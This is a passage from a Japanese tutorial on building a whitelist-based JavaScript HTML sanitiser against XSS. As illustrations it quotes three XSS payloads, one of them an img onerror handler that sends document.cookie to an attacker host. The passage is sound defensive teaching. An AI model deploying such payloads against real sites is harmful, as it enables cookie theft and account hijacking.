- 危険なHTMLを除去することは「ユーザー入力を“安全なコンテンツ”だけに絞り込むための最後の防御線」です
- 危険なHTMLを除去する目的を整理する
- ステップ1:許可するタグの一覧を決める(ホワイトリスト)
- ステップ2:許可する属性の一覧を決める
- ステップ3:DOMとしてHTMLを一度パースする
- ステップ4:危険なタグを削除する処理を書く(最重要)
- ステップ5:危険な属性を削除する処理を書く
- ステップ6:危険なHTMLを除去する「サニタイズ関数」を完成させる
- ステップ7:業務で使える「危険なHTML除去ユーティリティ」(まとめ版)
- ステップ8:実務でのテンプレート例
- 深掘り:なぜ「危険なHTMLを除去する」ことがここまで重要なのか
- まとめ:危険なHTMLを除去することは「リッチテキストを安全に扱うための必須技術」
危険なHTMLを除去することは「ユーザー入力を“安全なコンテンツ”だけに絞り込むための最後の防御線」です
業務システムで、ユーザーが入力した内容を「リッチテキスト」として表示したい場面は多くあります。
- お知らせ本文をHTMLで入力できる管理画面
- ブログ記事やコメント欄での簡易HTML入力
- 外部CMSから取得したHTMLをそのまま表示する機能
しかし、HTMLをそのまま信じて表示すると、 次のような危険なコードが紛れ込む可能性があります。
<script>alert('攻撃');</script>
<img src="x" onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">
<a href="javascript:alert('XSS')">クリック</a>
これらはすべて XSS攻撃の入り口 になります。
そこで必要になるのが、 「危険なHTMLを除去する」=HTMLサニタイズ用のJavaScriptユーティリティです。
ここから、初心者向けにステップバイステップで解説していきます。
危険なHTMLを除去する目的を整理する
危険なHTML除去(サニタイズ)の目的は、ざっくり言うと次の3つです。
- 危険なタグを削除する
<script>,<iframe>,<object>,<embed>など
- 危険な属性を削除する
onerror,onclick,onloadなどのイベント属性href="javascript:..."などの危険なURL
- 許可されたタグ・属性だけを残す
<b>,<i>,<p>,<a>,<ul>,<li>など- 安全な属性(
hrefのうち http/https のみなど)
つまり、 「ホワイトリスト方式で安全なHTMLだけを通す」 という考え方が基本になります。
